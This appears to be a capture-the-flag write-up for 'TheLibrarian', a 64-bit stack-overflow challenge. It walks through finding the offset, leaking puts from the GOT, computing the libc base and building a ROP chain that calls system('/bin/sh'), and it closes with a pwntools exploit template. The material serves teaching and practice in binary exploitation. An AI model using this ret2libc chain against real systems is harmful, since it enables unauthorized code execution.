M4cCrypt0
back to overview

TryPwnMeOne - TheLibrarian (ret2libc)

TheLibrarian — ret2libc Writeup

Difficulty: Medium

Overview

Remote binary exploitation challenge. Target: thelibrarian, running on MACHINE_IP:9008, with matching libc.so.6 and ld-linux-x86-64.so.2 provided alongside the binary.

Objective: obtain remote code execution and read the flag.

Source Reference

c
void vuln(){
    char *buf[0x20];
    puts("Again? Where this time? : ");
    read(0, buf, 0x200);
    puts("\nok, let's go!\n");
}

int main(){
    setup();
    vuln();
}

Key observation: buf is declared as char *buf[0x20] — an array of 32 pointers (8 bytes each = 256 bytes), not 32 chars. read() accepts up to 0x200 (512) bytes, giving more than enough room to overflow past the buffer into the saved rbp and return address.

Recon

Protections (checksec)

text
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x3fe000)
RUNPATH:    b'.'
Stripped:   No

Implications:

No win() function is present in this binary (unlike a prior, simpler challenge on port 9007), and there's no built-in info leak. This rules out a direct ret2win and points toward a ret2libc approach.

Static addresses gathered

Symbol Address
vuln 0x40063e
puts@PLT 0x4004e0
puts@GOT 0x601018
pop rdi ; ret gadget 0x400639

libc offsets (from provided libc.so.6)

Symbol Offset
puts 0x80970
system 0x4f420
/bin/sh 0x1b3d88

Finding the Offset to Return Address

vuln's prologue reserves sub $0x100,%rsp (256 bytes) — matching the 32×8-byte pointer array. Used a cyclic pattern to confirm the exact offset rather than assuming it from the source:

text
pattern = cyclic(800)
# crash: SIGSEGV on the `ret` instruction (vuln+62)
# rbp    = 0x636161706361616f
text
cyclic -l 0x636161706361616f
# => 256

This matches the sub $0x100,%rsp seen in disassembly — the saved rbp sits immediately after the 256-byte reserved region.

Exploitation Strategy

Two-stage ret2libc, since there's no PIE on the binary (static addresses) but libc itself is ASLR'd:

  1. Stage 1 — leak: overwrite the return address with a ROP chain that calls puts(puts@GOT), printing the real runtime address of puts in libc. Return back into vuln() afterward for a second input round.
  2. Calculate libc base: leaked_puts_addr - puts_offset_in_libc.
  3. Stage 2 — shell: with the base known, compute system and /bin/sh addresses, and call system("/bin/sh") via the same pop rdi ; ret gadget.

Gotcha #1 — parsing the leak

The target's output has an extra blank line between "ok, let's go!" and the leaked bytes:

text
b" Where this time? : \n\nok, let's go!\n\n<LEAK BYTES>\nAgain? Where this time? : \n"

Anchoring on recvuntil(b"go!\n\n") before reading the leak line is more robust than counting recvline() calls.

Gotcha #2 — truncated leak

puts() stops at the first null byte, so the high (zero) bytes of the leaked address are never printed — the leak is typically 6 raw bytes, not 8. Padding with .ljust(8, b'\x00') before u64() handles this.

Gotcha #3 — stack alignment on system()

Calling system() via ROP without correcting for stack alignment causes a SIGSEGV inside system itself (modern glibc uses SSE instructions like movaps that require a 16-byte aligned rsp). Fix: insert a bare ret gadget immediately before the call to system_addr, shifting the stack by 8 bytes.

Step-by-Step Plan

  1. Recon the binary — run checksec on the target ELF to identify active protections (canary, NX, PIE, RELRO, RUNPATH). Confirm which libc/loader combo is required (ldd, or check RUNPATH).
  2. Read the disassembly of the vulnerable function — confirm actual stack frame size (sub $X,%rsp) rather than trusting the source-level buffer declaration; note the static address of the vulnerable function and of main.
  3. Find the offset to the return address — send a cyclic pattern, trigger the crash, and inspect $rip/$rbp at the fault. If the crash happens inside the function (not on ret), the pattern hasn't reached the return address yet. If $rip shows the ret instruction itself but the fault comes from a corrupted $rbp, use cyclic -l <rbp value> to get the offset to saved rbp, then add 8 for the return address offset.
  4. Enumerate available gadgets — use ROPgadget --binary <binary> to find a pop rdi ; ret (to control the first function argument) and a bare ret (useful later for stack alignment).
  5. Locate PLT/GOT entries — find the PLT address of a libc function the binary already imports (e.g. puts), and its GOT entry, via objdump -d / objdump -R / readelf --relocs.
  6. Look up libc offsets — using the exact libc file provided for the challenge, find the offsets of a leakable function (e.g. puts), system, and the /bin/sh string (readelf -s, strings -t x, or let pwntools' ELF() object resolve them automatically).
  7. Build Stage 1 (leak) — pad to the return-address offset, then chain: pop rdi ; ret → GOT address of the leak function → PLT address of that function → address of the vulnerable function (to loop back for a second input round).
  8. Parse the leaked address carefully — anchor on a fixed string in the program's output rather than counting recvline() calls, and pad the leaked bytes to 8 bytes before unpacking (leaked addresses are often null-truncated since puts() stops at a null byte).
  9. Calculate the libc baseleaked_address - known_offset_in_libc, then derive system and /bin/sh addresses from that base.
  10. Build Stage 2 (shell) — same padding, then chain: pop rdi ; ret/bin/sh address → (optional bare ret for stack alignment) → system address.
  11. If Stage 2 crashes inside system/libc itself, suspect stack misalignment. Insert an extra bare ret gadget immediately before the call to system to shift rsp by 8 bytes.
  12. Drop into an interactive shell and confirm code execution before retrieving the flag.

Exploit Template

Generic structure only — offsets, gadget addresses, and the target IP/port are intentionally left as placeholders. Fill these in yourself based on your own recon (see steps above) rather than reusing another run's values, since addresses can differ per build/patch level.

python
from pwn import *

context.arch = 'amd64'
elf = ELF('./thelibrarian')
libc = ELF('./libc.so.6')

# --- pick one ---
p = process('./thelibrarian')
# p = remote('TARGET_IP', TARGET_PORT)

# --- values to determine yourself ---
OFFSET      = None   # offset to return address, found via cyclic pattern
POP_RDI     = None   # address of `pop rdi ; ret` gadget
PUTS_PLT    = None   # PLT address of puts
PUTS_GOT    = None   # GOT address of puts
VULN_ADDR   = None   # address of the vulnerable function, to loop back
RET_GADGET  = None   # bare `ret` gadget, for stack alignment if needed

# --- Stage 1: leak a libc address via an already-imported function ---
payload1  = b'A' * OFFSET
payload1 += p64(POP_RDI)
payload1 += p64(PUTS_GOT)
payload1 += p64(PUTS_PLT)
payload1 += p64(VULN_ADDR)

p.recvuntil(b'?')             # adjust to match the actual prompt
p.sendline(payload1)

p.recvuntil(b"go!\n\n")       # adjust anchor string if needed
leaked = p.recvline().strip()
leaked_addr = u64(leaked.ljust(8, b'\x00'))
log.info(f"Leaked address: {hex(leaked_addr)}")

# --- Calculate libc base ---
libc_base   = leaked_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr  = libc_base + next(libc.search(b'/bin/sh'))
log.info(f"libc base: {hex(libc_base)}")

# --- Stage 2: system('/bin/sh') ---
payload2  = b'A' * OFFSET
payload2 += p64(POP_RDI)
payload2 += p64(binsh_addr)
payload2 += p64(RET_GADGET)   # remove if alignment isn't an issue
payload2 += p64(system_addr)

p.sendline(payload2)
p.interactive()

Result

Shell obtained after stage 2, followed by flag retrieval via the interactive shell.

Lessons Learned / Notes for Future Challenges

Relevance to SOC / Blue Team Work